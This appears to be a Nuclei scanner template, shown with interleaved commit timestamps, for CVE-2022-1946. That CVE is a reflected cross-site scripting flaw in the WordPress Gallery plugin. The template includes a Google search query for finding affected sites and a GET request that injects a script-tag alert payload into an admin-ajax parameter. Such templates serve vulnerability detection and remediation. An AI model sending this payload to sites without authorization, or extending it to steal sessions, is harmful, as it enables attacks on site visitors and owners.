2022-07-06 10:15:00 +00:00
id : CVE-2022-1946
info :
2022-09-16 19:50:10 +00:00
name : WordPress Gallery <2.0.0 - Cross-Site Scripting
2022-07-06 10:15:00 +00:00
author : Akincibor
2022-09-16 20:03:07 +00:00
severity : medium
2022-09-16 19:50:10 +00:00
description : WordPress Gallery plugin before 2.0.0 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape a parameter before outputting it back in the response of an AJAX action, available to both unauthenticated and authenticated users.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, leading to potential data theft, session hijacking, or defacement.
2023-09-06 11:59:08 +00:00
remediation : |
Update the WordPress Gallery plugin to version 2.0.0 or later to mitigate the vulnerability.
2022-07-06 10:15:00 +00:00
reference :
- https://wpscan.com/vulnerability/0903920c-be2e-4515-901f-87253eb30940
- https://wordpress.org/plugins/gallery-album
2022-09-16 19:50:10 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-1946
2022-07-08 19:07:55 +00:00
classification :
2022-09-16 20:03:07 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
2022-09-16 19:50:10 +00:00
cve-id : CVE-2022-1946
2022-09-16 20:03:07 +00:00
cwe-id : CWE-79
2023-07-11 19:49:27 +00:00
epss-score : 0.00097
2023-12-12 11:07:52 +00:00
epss-percentile : 0.40069
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:wpdevart:gallery:*:*:*:*:*:wordpress:*:*
2022-07-06 10:16:17 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : wpdevart
product : gallery
2023-09-06 11:59:08 +00:00
framework : wordpress
google-query : inurl:"/wp-content/plugins/gallery-album/"
2023-12-05 09:50:33 +00:00
tags : wpscan,cve2022,wp,xss,wordpress,gallery,unauth,cve,wp-plugin,wpdevart
2022-07-06 10:15:00 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-07-06 10:15:00 +00:00
- method : GET
path :
- '{{BaseURL}}/wp-admin/admin-ajax.php?action=wpda_gall_load_image_info&start=0&limit=1&gallery_current_index=<script>alert(document.domain)</script>'
matchers-condition : and
matchers :
- type : word
part : body
words :
- 'wpdevar_gall_img_url_h[<script>alert(document.domain)</script>]'
- type : word
part : header
words :
- text/html
- type : status
status :
- 200
2023-12-12 12:02:03 +00:00
# digest: 490a0046304402203af3e18e13ca6ce73052420efa3252492ab947e10104ef5525d6566e3f832b8d022028e61c41990e510bb02f9732390cbf9feed8e3838b039809aaa2c732abd18796:922c64590222798bb761d5b6d8e72950